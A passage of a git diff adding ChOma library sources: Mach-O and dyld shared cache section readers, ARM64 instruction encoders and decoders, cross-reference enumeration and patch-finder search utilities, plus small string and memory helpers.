+typedef struct s_PFSectionInfo { + char sectname[17]; + char segname[17]; + uint64_t fileoff; + uint64_t vmaddr; + uint64_t size; + uint32_t initprot; + uint32_t maxprot; +} PFSectionInfo; + +void pfsec_info_populate_section64(PFSectionInfo *sectionInfo, struct section_64 *section64); +void pfsec_info_populate_segment(PFSectionInfo *sectionInfo, MachOSegment *segment); +void pfsec_info_populate_dsc_mapping(PFSectionInfo *sectionInfo, DyldSharedCacheMapping *dscMapping); + +typedef struct s_PFSection { + MemoryStream *stream; + MachO *macho; + DyldSharedCache *sharedCache; + PFSectionInfo info; + uint8_t *cache; + uint64_t (*pointerDecoder)(struct s_PFSection *section, uint64_t vmaddr, uint64_t value); +} PFSection; + +PFSection *pfsec_init_from_macho(MachO *macho, const char *filesetEntryId, const char *segName, const char *sectName); +PFSection *pfsec_init_from_dsc_mapping(DyldSharedCache *sharedCache, DyldSharedCacheMapping *mapping); +MachO *pfsec_get_macho(PFSection *section); +DyldSharedCache *pfsec_get_dsc(PFSection *section); +void pfsec_set_pointer_decoder(PFSection *section, uint64_t (*pointerDecoder)(struct s_PFSection *section, uint64_t vmaddr, uint64_t value)); +int pfsec_read_reloff(PFSection *section, uint64_t rel, size_t size, void *outBuf); +uint32_t pfsec_read32_reloff(PFSection *section, uint64_t rel); +int pfsec_read_at_address(PFSection *section, uint64_t vmaddr, void *outBuf, size_t size); +uint32_t pfsec_read32(PFSection *section, uint64_t vmaddr); +uint64_t pfsec_read64(PFSection *section, uint64_t vmaddr); +uint64_t pfsec_read_pointer(PFSection *section, uint64_t vmaddr); +int pfsec_read_string(PFSection *section, uint64_t vmaddr, char **outString); +int pfsec_set_cached(PFSection *section, bool cached); +void *pfsec_get_raw_pointer(PFSection *section); +uint64_t pfsec_find_prev_inst(PFSection *section, uint64_t startAddr, uint32_t searchCount, uint32_t inst, uint32_t mask); +uint64_t pfsec_find_next_inst(PFSection *section, uint64_t startAddr, uint32_t searchCount, uint32_t inst, uint32_t mask); +uint64_t pfsec_find_function_start(PFSection *section, uint64_t midAddr); +bool pfsec_contains_vmaddr(PFSection *section, uint64_t addr); +void pfsec_free(PFSection *section); + + +typedef struct s_MetricShared { + uint32_t type; +} MetricShared; + +typedef struct s_PFPatternMetric { + MetricShared shared; + + void *bytes; + void *mask; + size_t nbytes; + uint16_t alignment; +} PFPatternMetric; + +typedef struct s_PFStringMetric { + MetricShared shared; + + char *string; +} PFStringMetric; + +typedef enum { + XREF_TYPE_MASK_CALL = (1 << 0), + XREF_TYPE_MASK_JUMP = (1 << 1), + XREF_TYPE_MASK_REFERENCE = (1 << 2), + XREF_TYPE_MASK_POINTER = (1 << 3), + XREF_TYPE_MASK_ALL = (XREF_TYPE_MASK_CALL | XREF_TYPE_MASK_REFERENCE | XREF_TYPE_MASK_POINTER), +} PFXrefTypeMask; + +typedef struct s_PFXrefMetric { + MetricShared shared; + + // Normal xref + uint64_t address; + + // Dynamic xref + bool (*dynamicHandler)(PFSection *section, struct s_PFXrefMetric *metric, uint64_t location, uint64_t target); + void *ctx; + + PFXrefTypeMask typeMask; +} PFXrefMetric; + +PFPatternMetric *pfmetric_pattern_init(void *bytes, void *mask, size_t nbytes, uint16_t alignment); +PFStringMetric *pfmetric_string_init(const char *string); +PFXrefMetric *pfmetric_xref_init(uint64_t address, PFXrefTypeMask types); +PFXrefMetric *pfmetric_dynamic_xref_init(bool (*dynamicHandler)(PFSection *section, PFXrefMetric *metric, uint64_t location, uint64_t target), void *ctx, PFXrefTypeMask types); +void pfmetric_free(void *metric); + +void pfmetric_run_in_range(PFSection *section, uint64_t startAddr, uint64_t endAddr, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)); +void pfmetric_run(PFSection *section, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)); +#endif \ No newline at end of file diff --git a/XPF/external/ChOma/src/PatchFinder_arm64.c b/XPF/external/ChOma/src/PatchFinder_arm64.c new file mode 100644 index 0000000..aafabeb --- /dev/null +++ b/XPF/external/ChOma/src/PatchFinder_arm64.c @@ -0,0 +1,341 @@ +#include "PatchFinder_arm64.h" +#include "PatchFinder.h" +#include "arm64.h" +#include + +// Unified check for whether anything writes to a register between firstAddr and secondAddr +bool pfsec_arm64_scan_register_write(PFSection *section, arm64_register reg, uint64_t endAddr, uint64_t startAddr) +{ + if (startAddr == endAddr) { + return false; + } + else if (startAddr > endAddr) { + printf("Fatal error pfsec_arm64_scan_register_write: startAddr > endAddr\n"); + return false; + } + + uint16_t regNum = ARM64_REG_GET_NUM(reg); + + for (uint64_t curAddr = (endAddr - sizeof(uint32_t)); curAddr > startAddr; curAddr -= sizeof(uint32_t)) { + uint32_t inst = pfsec_read32(section, curAddr); + arm64_register destinationReg, sourceReg; + + // Check for immediate add writing to reg + if (arm64_dec_add_imm(inst, &destinationReg, &sourceReg, NULL) == 0) goto found_inst_match; + // Check for immediate mov writing to reg + else if (arm64_dec_mov_imm(inst, &destinationReg, NULL, NULL, NULL) == 0) goto found_inst_match; + // Check for register mov writing to reg + else if (arm64_dec_mov_reg(inst, &destinationReg, &sourceReg) == 0) goto found_inst_match; + // Check for immediate ldr writing to reg + else if (arm64_dec_ldr_imm(inst, &destinationReg, NULL, NULL, NULL, NULL) == 0) goto found_inst_match; + // Check for literal ldr writing to reg + else if (arm64_dec_ldr_lit(inst, curAddr, NULL, &destinationReg) == 0) goto found_inst_match; + // Check for immediate ldrs writing to reg + else if (arm64_dec_ldrs_imm(inst, &destinationReg, NULL, NULL, NULL, NULL) == 0) goto found_inst_match; + // Nothing matched, continue + else continue; + +found_inst_match: + if (ARM64_REG_GET_NUM(destinationReg) == regNum) { + goto found_write; + } + // Didn't write to our register, continue + continue; + } + + return false; + +found_write: + return true; +} + +uint64_t pfsec_arm64_resolve_adrp_ldr_str_add_reference(PFSection *section, uint64_t adrpAddr, uint64_t ldrStrAddAddr) +{ + uint32_t ldrStrAddInst = pfsec_read32(section, ldrStrAddAddr); + + uint64_t imm = 0; + if (arm64_dec_ldr_imm(ldrStrAddInst, NULL, NULL, &imm, NULL, NULL) != 0) { + if (arm64_dec_ldrs_imm(ldrStrAddInst, NULL, NULL, &imm, NULL, NULL) != 0) { + if (arm64_dec_str_imm(ldrStrAddInst, NULL, NULL, &imm, NULL, NULL) != 0) { + uint16_t addImm = 0; + if (arm64_dec_add_imm(ldrStrAddInst, NULL, NULL, &addImm) == 0) { + imm = (uint64_t)addImm; + } + else { + return 0; + } + } + } + } + + uint64_t adrpTarget = 0; + arm64_dec_adr_p(pfsec_read32(section, adrpAddr), adrpAddr, &adrpTarget, NULL, NULL); + + return adrpTarget + imm; +} + +uint64_t pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(PFSection *section, uint64_t ldrStrAddAddr) +{ + uint32_t inst = pfsec_read32(section, ldrStrAddAddr); + + bool isAdd = false; + arm64_register reg; + if (arm64_dec_ldr_imm(inst, NULL, ®, NULL, NULL, NULL) != 0) { + if (arm64_dec_str_imm(inst, NULL, ®, NULL, NULL, NULL) != 0) { + if (arm64_dec_add_imm(inst, NULL, ®, NULL) != 0) { + return 0; + } + else { + isAdd = true; + } + } + } + + uint32_t adrpInst = 0, adrpInstMask = 0; + arm64_gen_adr_p(OPT_BOOL_NONE, OPT_UINT64_NONE, OPT_UINT64_NONE, reg, &adrpInst, &adrpInstMask); + uint64_t adrpAddr = pfsec_find_prev_inst(section, ldrStrAddAddr, 100, adrpInst, adrpInstMask); + if (!adrpAddr) return 0; + + if (!isAdd) { + // For str and ldr, there can be the following sequence: + + // adr(p) xA, (adrpAddr) + // (0..n) instructions + // add xA, xA, (specialCaseAddAddr) + // (0..n) instructions + // ldr/str xB, [xA] (ldrStrAddAddr) + + // We search for the middle add instruction and if we find it, we need to handle this case + + uint32_t searchCount = ((ldrStrAddAddr - adrpAddr) / 4) - 1; + if (searchCount) { + uint32_t specialCaseAddInst = 0, specialCaseAddMask = 0; + arm64_gen_add_imm(reg, reg, OPT_UINT64_NONE, &specialCaseAddInst, &specialCaseAddMask); + + uint64_t specialCaseAddAddr = pfsec_find_prev_inst(section, ldrStrAddAddr, searchCount, specialCaseAddInst, specialCaseAddMask); + if (specialCaseAddAddr) { + // In this case, we need to make sure there are no writes in the two "(0..n) instructions" sections + if (pfsec_arm64_scan_register_write(section, reg, ldrStrAddAddr, specialCaseAddAddr)) return 0; + if (pfsec_arm64_scan_register_write(section, reg, specialCaseAddAddr, adrpAddr)) return 0; + + uint64_t baseAddr = pfsec_arm64_resolve_adrp_ldr_str_add_reference(section, adrpAddr, specialCaseAddAddr); + if (!baseAddr) return 0; + + uint32_t ldrStrAddInst = pfsec_read32(section, ldrStrAddAddr); + uint64_t imm64 = 0; + uint16_t imm16 = 0; + if (arm64_dec_add_imm(ldrStrAddInst, NULL, NULL, &imm16) != 0) { + if (arm64_dec_ldr_imm(ldrStrAddInst, NULL, NULL, &imm64, NULL, NULL) != 0) { + if (arm64_dec_str_imm(ldrStrAddInst, NULL, NULL, &imm64, NULL, NULL) != 0) { + fprintf(stderr, "Warning: failed decoding ldrStrAddInst (%#x @ %#llx)\n", ldrStrAddInst, ldrStrAddAddr); + } + } + } + else { + imm64 = imm16; + } + + return baseAddr + imm64; + } + } + } + + if (pfsec_arm64_scan_register_write(section, reg, ldrStrAddAddr, adrpAddr)) return 0; + return pfsec_arm64_resolve_adrp_ldr_str_add_reference(section, adrpAddr, ldrStrAddAddr); +} + +uint64_t pfsec_arm64_resolve_stub(PFSection *section, uint64_t stubAddr) +{ + // A stub is usually: + // adrp x16, ? + // ldr x16, ? + // br x16 + + // First, check if what we have actually is a stub + uint32_t inst[3]; + pfsec_read_at_address(section, stubAddr, inst, sizeof(inst)); + + uint32_t stubInst[3], stubMask[3]; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_X(16), &stubInst[0], &stubMask[0]); + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_X(16), ARM64_REG_X(16), OPT_UINT64_NONE, &stubInst[1], &stubMask[1]); + stubInst[2] = 0xd61f0200; + stubMask[2] = 0xffffffff; + + if ((inst[0] & stubMask[0]) == stubInst[0] || + (inst[1] & stubMask[1]) == stubInst[1] || + (inst[2] & stubMask[2]) == stubInst[2]) { + // This is a stub, resolve it + uint64_t ptrAddr = pfsec_arm64_resolve_adrp_ldr_str_add_reference(section, stubAddr, stubAddr + 4); + if (ptrAddr) { + uint64_t targetAddr = 0; + + MachO *macho = pfsec_get_macho(section); + if (macho) { + macho_read_at_vmaddr(macho, ptrAddr, sizeof(targetAddr), &targetAddr); + } + else { + DyldSharedCache *sharedCache = pfsec_get_dsc(section); + if (sharedCache) { + dsc_read_from_vmaddr(sharedCache, ptrAddr, sizeof(targetAddr), &targetAddr); + } + } + + return targetAddr; + } + } + + // Not a stub, just return original address + return stubAddr; +} + +void pfsec_arm64_enumerate_xrefs(PFSection *section, Arm64XrefTypeMask types, void (^xrefBlock)(Arm64XrefType type, uint64_t source, uint64_t target, bool *stop)) +{ + bool stop = false; + if (section->info.initprot & PROT_EXEC) { + for (uint64_t addr = section->info.vmaddr; addr < (section->info.vmaddr + section->info.size) && !stop; addr += sizeof(uint32_t)) { + uint32_t inst = pfsec_read32(section, addr); + if ((types & ARM64_XREF_TYPE_MASK_B) || (types & ARM64_XREF_TYPE_MASK_BL)) { + uint64_t target = 0; + bool isBl = 0; + if (arm64_dec_b_l(inst, addr, &target, &isBl) == 0) { + if (isBl && (types & ARM64_XREF_TYPE_MASK_BL)) { + xrefBlock(ARM64_XREF_TYPE_BL, addr, target, &stop); + } + else if (!isBl && (types & ARM64_XREF_TYPE_MASK_B)) { + xrefBlock(ARM64_XREF_TYPE_B, addr, target, &stop); + } + continue; + } + } + if (types & ARM64_XREF_TYPE_MASK_ADR) { + uint64_t target = 0; + bool isAdrp = false; + arm64_register reg; + if (arm64_dec_adr_p(inst, addr, &target, ®, &isAdrp) == 0) { + if (!isAdrp) { + xrefBlock(ARM64_XREF_TYPE_ADR, addr, target, &stop); + } + continue; + } + } + if ((types & ARM64_XREF_TYPE_MASK_B_COND) || (types & ARM64_XREF_TYPE_MASK_BC_COND)) { + uint64_t target = 0; + bool isBc = false; + if (arm64_dec_b_c_cond(inst, addr, &target, NULL, &isBc) == 0) { + if (!isBc && (types & ARM64_XREF_TYPE_MASK_B_COND)) { + xrefBlock(ARM64_XREF_TYPE_B_COND, addr, target, &stop); + } + if (isBc && (types & ARM64_XREF_TYPE_MASK_BC_COND)) { + xrefBlock(ARM64_XREF_TYPE_BC_COND, addr, target, &stop); + } + } + } + if ((types & ARM64_XREF_TYPE_MASK_CBZ) || (types & ARM64_XREF_TYPE_MASK_CBNZ)) { + uint64_t target = 0; + bool isCbnz = false; + if (arm64_dec_cb_n_z(inst, addr, &isCbnz, NULL, &target) == 0) { + if (!isCbnz && (types & ARM64_XREF_TYPE_MASK_CBZ)) { + xrefBlock(ARM64_XREF_TYPE_CBZ, addr, target, &stop); + } + if (isCbnz && (types & ARM64_XREF_TYPE_MASK_CBNZ)) { + xrefBlock(ARM64_XREF_TYPE_CBNZ, addr, target, &stop); + } + } + } + if ((types & ARM64_XREF_TYPE_MASK_TBZ) || (types & ARM64_XREF_TYPE_MASK_TBNZ)) { + uint64_t target = 0; + bool isTbnz = false; + if (arm64_dec_tb_n_z(inst, addr, &isTbnz, NULL, &target, NULL) == 0) { + if (!isTbnz && (types & ARM64_XREF_TYPE_MASK_TBZ)) { + xrefBlock(ARM64_XREF_TYPE_CBZ, addr, target, &stop); + } + if (isTbnz && (types & ARM64_XREF_TYPE_MASK_TBNZ)) { + xrefBlock(ARM64_XREF_TYPE_CBNZ, addr, target, &stop); + } + } + } + #define ADRP_SEEK_BACK 8 + if (types & ARM64_XREF_TYPE_MASK_ADRP_ADD) { + uint16_t addImm = 0; + arm64_register addDestinationReg; + arm64_register addSourceReg; + if (arm64_dec_add_imm(inst, &addDestinationReg, &addSourceReg, &addImm) == 0) { + uint32_t adrpInst = 0; + uint32_t adrpMask = 0; + if (arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, addSourceReg, &adrpInst, &adrpMask) == 0) { + uint64_t adrpAddr = pfsec_find_prev_inst(section, addr, ADRP_SEEK_BACK, adrpInst, adrpMask); + if (adrpAddr != 0) { + if (!pfsec_arm64_scan_register_write(section, addSourceReg, addr, adrpAddr)) { + uint64_t adrpTarget = 0; + arm64_dec_adr_p(pfsec_read32(section, adrpAddr), adrpAddr, &adrpTarget, NULL, NULL); + xrefBlock(ARM64_XREF_TYPE_ADRP_ADD, addr, adrpTarget + addImm, &stop); + } + } + } + } + } + if (types & ARM64_XREF_TYPE_MASK_ADRP_LDR) { + arm64_register ldrDestinationReg; + arm64_register ldrSourceReg; + uint64_t ldrImm = 0; + char ldrType = -1; + arm64_ldr_str_type instType = 0; + if (arm64_dec_ldr_imm(inst, &ldrDestinationReg, &ldrSourceReg, &ldrImm, &ldrType, &instType) == 0) { + uint32_t adrpInst = 0; + uint32_t adrpMask = 0; + if (arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ldrSourceReg, &adrpInst, &adrpMask) == 0) { + uint64_t adrpAddr = pfsec_find_prev_inst(section, addr, ADRP_SEEK_BACK, adrpInst, adrpMask); + if (adrpAddr != 0) { + if (!pfsec_arm64_scan_register_write(section, ldrSourceReg, addr, adrpAddr)) { + uint64_t adrpTarget = 0; + arm64_dec_adr_p(pfsec_read32(section, adrpAddr), adrpAddr, &adrpTarget, NULL, NULL); + xrefBlock(ARM64_XREF_TYPE_ADRP_LDR, addr, adrpTarget + ldrImm, &stop); + } + } + } + } + } + if (types & ARM64_XREF_TYPE_MASK_ADRP_STR) { + arm64_register strDestinationReg; + arm64_register strSourceReg; + uint64_t strImm = 0; + char strType = -1; + arm64_ldr_str_type instType = 0; + if (arm64_dec_str_imm(inst, &strDestinationReg, &strSourceReg, &strImm, &strType, &instType) == 0) { + uint32_t adrpInst = 0; + uint32_t adrpMask = 0; + if (arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, strSourceReg, &adrpInst, &adrpMask) == 0) { + uint64_t adrpAddr = pfsec_find_prev_inst(section, addr, ADRP_SEEK_BACK, adrpInst, adrpMask); + if (adrpAddr != 0) { + if (!pfsec_arm64_scan_register_write(section, strSourceReg, addr, adrpAddr)) { + uint64_t adrpTarget = 0; + arm64_dec_adr_p(pfsec_read32(section, adrpAddr), adrpAddr, &adrpTarget, NULL, NULL); + xrefBlock(ARM64_XREF_TYPE_ADRP_STR, addr, adrpTarget + strImm, &stop); + } + } + } + } + } + } + } + + if ((types & ARM64_XREF_TYPE_MASK_POINTER)) { + if (!strncmp(section->info.sectname, "__cfstring", sizeof(section->info.sectname))) { + for (uint64_t addr = section->info.vmaddr; addr < (section->info.vmaddr + section->info.size) && !stop; addr += 0x20) { + uint32_t fileoff = pfsec_read32(section, addr + 0x10); + uint64_t vmaddr = 0; + MachO *macho = pfsec_get_macho(section); + if (macho) { + macho_translate_fileoff_to_vmaddr(macho, fileoff, &vmaddr, NULL); + xrefBlock(ARM64_XREF_TYPE_POINTER, addr, vmaddr, &stop); + } + } + } + else { + for (uint64_t addr = section->info.vmaddr; addr < (section->info.vmaddr + section->info.size) && !stop; addr += sizeof(uint64_t)) { + uint64_t ptr = pfsec_read_pointer(section, addr); + xrefBlock(ARM64_XREF_TYPE_POINTER, addr, ptr, &stop); + } + } + } +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/PatchFinder_arm64.h b/XPF/external/ChOma/src/PatchFinder_arm64.h new file mode 100644 index 0000000..1914d26 --- /dev/null +++ b/XPF/external/ChOma/src/PatchFinder_arm64.h @@ -0,0 +1,52 @@ +#ifndef PATCHFINDER_ARM64_H +#define PATCHFINDER_ARM64_H + +#include "PatchFinder.h" +#include "arm64.h" + +typedef enum { + ARM64_XREF_TYPE_BL = 0, + ARM64_XREF_TYPE_B, + ARM64_XREF_TYPE_B_COND, + ARM64_XREF_TYPE_BC_COND, + ARM64_XREF_TYPE_CBZ, + ARM64_XREF_TYPE_CBNZ, + ARM64_XREF_TYPE_TBZ, + ARM64_XREF_TYPE_TBNZ, + ARM64_XREF_TYPE_ADR, + ARM64_XREF_TYPE_ADRP_ADD, + ARM64_XREF_TYPE_ADRP_LDR, + ARM64_XREF_TYPE_ADRP_STR, + ARM64_XREF_TYPE_POINTER, +} Arm64XrefType; + +typedef enum { + ARM64_XREF_TYPE_MASK_BL = (1 << ARM64_XREF_TYPE_BL), + ARM64_XREF_TYPE_MASK_CALL = (ARM64_XREF_TYPE_MASK_BL), + + ARM64_XREF_TYPE_MASK_B = (1 << ARM64_XREF_TYPE_B), + ARM64_XREF_TYPE_MASK_B_COND = (1 << ARM64_XREF_TYPE_B_COND), + ARM64_XREF_TYPE_MASK_BC_COND = (1 << ARM64_XREF_TYPE_BC_COND), + ARM64_XREF_TYPE_MASK_CBZ = (1 << ARM64_XREF_TYPE_CBZ), + ARM64_XREF_TYPE_MASK_CBNZ = (1 << ARM64_XREF_TYPE_CBNZ), + ARM64_XREF_TYPE_MASK_TBZ = (1 << ARM64_XREF_TYPE_TBZ), + ARM64_XREF_TYPE_MASK_TBNZ = (1 << ARM64_XREF_TYPE_TBNZ), + ARM64_XREF_TYPE_MASK_JUMP = (ARM64_XREF_TYPE_B | ARM64_XREF_TYPE_MASK_B_COND | ARM64_XREF_TYPE_MASK_BC_COND | ARM64_XREF_TYPE_MASK_CBZ | ARM64_XREF_TYPE_MASK_CBNZ | ARM64_XREF_TYPE_MASK_TBZ | ARM64_XREF_TYPE_MASK_TBNZ), + + ARM64_XREF_TYPE_MASK_ADR = (1 << ARM64_XREF_TYPE_ADR), + ARM64_XREF_TYPE_MASK_ADRP_ADD = (1 << ARM64_XREF_TYPE_ADRP_ADD), + ARM64_XREF_TYPE_MASK_ADRP_LDR = (1 << ARM64_XREF_TYPE_ADRP_LDR), + ARM64_XREF_TYPE_MASK_ADRP_STR = (1 << ARM64_XREF_TYPE_ADRP_STR), + ARM64_XREF_TYPE_MASK_REFERENCE = (ARM64_XREF_TYPE_MASK_ADR | ARM64_XREF_TYPE_MASK_ADRP_ADD | ARM64_XREF_TYPE_MASK_ADRP_LDR | ARM64_XREF_TYPE_MASK_ADRP_STR), + + ARM64_XREF_TYPE_MASK_POINTER = (1 << ARM64_XREF_TYPE_POINTER), + + ARM64_XREF_TYPE_ALL = (ARM64_XREF_TYPE_MASK_CALL | ARM64_XREF_TYPE_MASK_JUMP | ARM64_XREF_TYPE_MASK_REFERENCE | ARM64_XREF_TYPE_MASK_POINTER), +} Arm64XrefTypeMask; + +bool pfsec_arm64_scan_register_write(PFSection *section, arm64_register reg, uint64_t endAddr, uint64_t startAddr); +uint64_t pfsec_arm64_resolve_adrp_ldr_str_add_reference(PFSection *section, uint64_t adrpAddr, uint64_t ldrStrAddAddr); +uint64_t pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(PFSection *section, uint64_t ldrStrAddAddr); +uint64_t pfsec_arm64_resolve_stub(PFSection *section, uint64_t stubAddr); +void pfsec_arm64_enumerate_xrefs(PFSection *section, Arm64XrefTypeMask types, void (^xrefBlock)(Arm64XrefType type, uint64_t source, uint64_t target, bool *stop)); +#endif \ No newline at end of file diff --git a/XPF/external/ChOma/src/Util.c b/XPF/external/ChOma/src/Util.c new file mode 100644 index 0000000..fab6d63 --- /dev/null +++ b/XPF/external/ChOma/src/Util.c @@ -0,0 +1,113 @@ +#include "Util.h" +#include +#include +#include + +int64_t sxt64(int64_t value, uint8_t bits) +{ + value = ((uint64_t)value) << (64 - bits); + value >>= (64 - bits); + return value; +} + +int memcmp_masked(const void *str1, const void *str2, unsigned char* mask, size_t n) +{ + const unsigned char* p = (const unsigned char*)str1; + const unsigned char* q = (const unsigned char*)str2; + + if (p == q) return 0; + for (int i = 0; i < n; i++) { + unsigned char cMask = 0xFF; + if (mask) { + cMask = mask[i]; + } + if((p[i] & cMask) != (q[i] & cMask)) { + // we do not care about 1 / -1 + return -1; + } + } + + return 0; +} + +uint64_t align_to_size(int size, int alignment) +{ + return (size + alignment - 1) & ~(alignment - 1); +} + +void print_hash(uint8_t *hash, size_t size) +{ + for (int j = 0; j < size; j++) { + printf("%02x", hash[j]); + } +} + +void enumerate_range(uint64_t start, uint64_t end, uint16_t alignment, size_t nbytes, bool (^enumerator)(uint64_t)) +{ + if (start == end) return; + if (alignment == 0) return; + if (nbytes == 0) return; + if (nbytes % alignment) return; + + int dir = start < end ? 1 : -1; + + uint64_t absStart = dir == 1 ? start : end; + uint64_t absEnd = dir == 1 ? end : start; + uint64_t absSpace = absEnd - absStart; + if (alignment > absSpace) return; + if (absSpace % alignment) return; + + uint64_t absSteps = absSpace / alignment; + for (uint64_t i = 0; i < absSteps; i++) { + uint64_t cur = start + (i * alignment * dir) - (dir == -1 ? alignment : 0); + if (!enumerator(cur)) break; + } +} + +int read_string(int fd, char **strOut) +{ + uint32_t sz = 0; + off_t pos = lseek(fd, 0, SEEK_CUR); + char c = 0; + do { + if (read(fd, &c, sizeof(c)) != sizeof(c)) return -1; + sz++; + } while(c != 0); + + lseek(fd, pos, SEEK_SET); + *strOut = malloc(sz); + read(fd, *strOut, sz); + return 0; +} + +bool string_has_prefix(const char *str, const char *prefix) +{ + if (!str || !prefix) { + return false; + } + + size_t str_len = strlen(str); + size_t prefix_len = strlen(prefix); + + if (str_len < prefix_len) { + return false; + } + + return !strncmp(str, prefix, prefix_len); +} + +bool string_has_suffix(const char *str, const char *suffix) +{ + if (!str || !suffix) { + return false; + } + + size_t str_len = strlen(str); + size_t suffix_len = strlen(suffix); + + if (str_len < suffix_len) { + return false; + } + + return !strcmp(str + str_len - suffix_len, suffix); +} diff --git a/XPF/external/ChOma/src/Util.h b/XPF/external/ChOma/src/Util.h new file mode 100644 index 0000000..81cb5ab --- /dev/null +++ b/XPF/external/ChOma/src/Util.h @@ -0,0 +1,35 @@ +#ifndef UTIL_H +#define UTIL_H + +#include +#include +#include + +typedef struct s_optional_uint64 { + bool isSet; + uint64_t value; +} optional_uint64_t; +#define OPT_UINT64_IS_SET(x) (x.isSet) +#define OPT_UINT64_GET_VAL(x) (x.value) +#define OPT_UINT64_NONE (optional_uint64_t){.isSet = false, .value = 0} +#define OPT_UINT64(x) (optional_uint64_t){.isSet = true, .value = x} + + +typedef struct s_optional_bool { + bool isSet; + bool value; +} optional_bool; +#define OPT_BOOL_IS_SET(x) (x.isSet) +#define OPT_BOOL_GET_VAL(x) (x.value) +#define OPT_BOOL_NONE (optional_bool){.isSet = false, .value = false} +#define OPT_BOOL(x) (optional_bool){.isSet = true, .value = x} + +int64_t sxt64(int64_t value, uint8_t bits); +int memcmp_masked(const void *str1, const void *str2, unsigned char* mask, size_t n); +uint64_t align_to_size(int size, int alignment); +void print_hash(uint8_t *hash, size_t size); +void enumerate_range(uint64_t start, uint64_t end, uint16_t alignment, size_t nbytes, bool (^enumerator)(uint64_t cur)); +int read_string(int fd, char **strOut); +bool string_has_prefix(const char *str, const char *prefix); +bool string_has_suffix(const char *str, const char *suffix); +#endif diff --git a/XPF/external/ChOma/src/arm64.c b/XPF/external/ChOma/src/arm64.c new file mode 100644 index 0000000..8b99830 --- /dev/null +++ b/XPF/external/ChOma/src/arm64.c @@ -0,0 +1,1008 @@ +#include "arm64.h" +#include "Util.h" +#include + +#define ADRP_PAGE_SIZE 0x1000 +#define ADRP_PAGE_MASK 0x0fff + +uint8_t arm64_reg_type_get_width(arm64_register_type type) +{ + switch (type) { + case ARM64_REG_TYPE_X: + return 8; + case ARM64_REG_TYPE_W: + return 4; + + case ARM64_REG_TYPE_Q: + return 16; + case ARM64_REG_TYPE_D: + return 8; + case ARM64_REG_TYPE_S: + return 4; + case ARM64_REG_TYPE_H: + return 2; + case ARM64_REG_TYPE_B: + return 1; + } +} + +const char *arm64_reg_type_get_string(arm64_register_type type) +{ + switch (type) { + case ARM64_REG_TYPE_X: + return "x"; + case ARM64_REG_TYPE_W: + return "w"; + + case ARM64_REG_TYPE_Q: + return "q"; + case ARM64_REG_TYPE_D: + return "d"; + case ARM64_REG_TYPE_S: + return "s"; + case ARM64_REG_TYPE_H: + return "h"; + case ARM64_REG_TYPE_B: + return "b"; + } + return ""; +} + +const char *arm64_reg_get_type_string(arm64_register reg) +{ + return arm64_reg_type_get_string(ARM64_REG_GET_TYPE(reg)); +} + +int arm64_gen_b_l(optional_bool optIsBl, optional_uint64_t optOrigin, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut) +{ + bool isBl = false; + if (OPT_BOOL_IS_SET(optIsBl)) { + isBl = OPT_BOOL_GET_VAL(optIsBl); + } + + uint64_t origin = 0; + uint64_t target = 0; + if (OPT_UINT64_IS_SET(optOrigin) && OPT_UINT64_IS_SET(optTarget)) { + *maskOut = 0xffffffff; + origin = OPT_UINT64_GET_VAL(optOrigin); + target = OPT_UINT64_GET_VAL(optTarget); + } + else { + if (!OPT_BOOL_IS_SET(optIsBl)) { + *maskOut = 0x7c000000; + } + else { + *maskOut = 0xfc000000; + } + } + + int64_t offset = ((int64_t)target - (int64_t)origin) / 4; + *bytesOut = (isBl ? 0x94000000 : 0x14000000) | (uint32_t)(offset & 0x3ffffff); + return 0; +} + +int arm64_dec_b_l(uint32_t inst, uint64_t origin, uint64_t *targetOut, bool *isBlOut) +{ + if ((inst & 0xfc000000) == 0x14000000) { + if (isBlOut) *isBlOut = false; + } + else if ((inst & 0xfc000000) == 0x94000000) { + if (isBlOut) *isBlOut = true; + } + else { + return -1; + } + + int64_t offset = sxt64((inst & 0x3ffffff), 26); + if (targetOut) *targetOut = origin + (offset * 4); + return 0; +} + +int arm64_gen_b_c_cond(optional_bool optIsBc, optional_uint64_t optOrigin, optional_uint64_t optTarget, arm64_cond optCond, uint32_t *bytesOut, uint32_t *maskOut) +{ + uint32_t inst = 0x54000000; + uint32_t mask = 0xff000000; + + if (OPT_BOOL_IS_SET(optIsBc)) { + mask |= (1 << 4); + inst |= (OPT_BOOL_GET_VAL(optIsBc) << 4); + } + + if (OPT_UINT64_IS_SET(optOrigin) && OPT_UINT64_IS_SET(optTarget)) { + uint64_t origin = OPT_UINT64_GET_VAL(optOrigin); + uint64_t target = OPT_UINT64_GET_VAL(optTarget); + int64_t offset = (int64_t)target - (int64_t)origin; + if (offset < -0x100000 || offset > 0x100000) return -1; // +/-1MB max + inst |= ((offset / 4) << 5); + mask |= (0x7ffff << 5); + } + + if (ARM64_COND_IS_SET(optCond)) { + mask |= 0xf; + inst |= ARM64_COND_GET_VAL(optCond); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_b_c_cond(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_cond *condOut, bool *isBcOut) +{ + if ((inst & 0xff000000) != 0x54000000) return -1; + + if (targetOut) { + int64_t offset = sxt64(((inst >> 5) & 0x7ffff), 19); + *targetOut = origin + (offset * 4); + } + + if (condOut) { + *condOut = ARM64_COND(inst & 0xf); + } + + if (isBcOut) { + *isBcOut = inst & (1 << 4); + } + + return 0; +} + +int arm64_gen_adr_p(optional_bool optIsAdrp, optional_uint64_t optOrigin, optional_uint64_t optTarget, arm64_register reg, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(reg)) return -1; + + bool isAdrp = false; + + uint32_t inst = (1 << 28); + uint32_t mask = 0x1f000000; + + if (OPT_BOOL_IS_SET(optIsAdrp)) { + mask |= (1 << 31); + isAdrp = 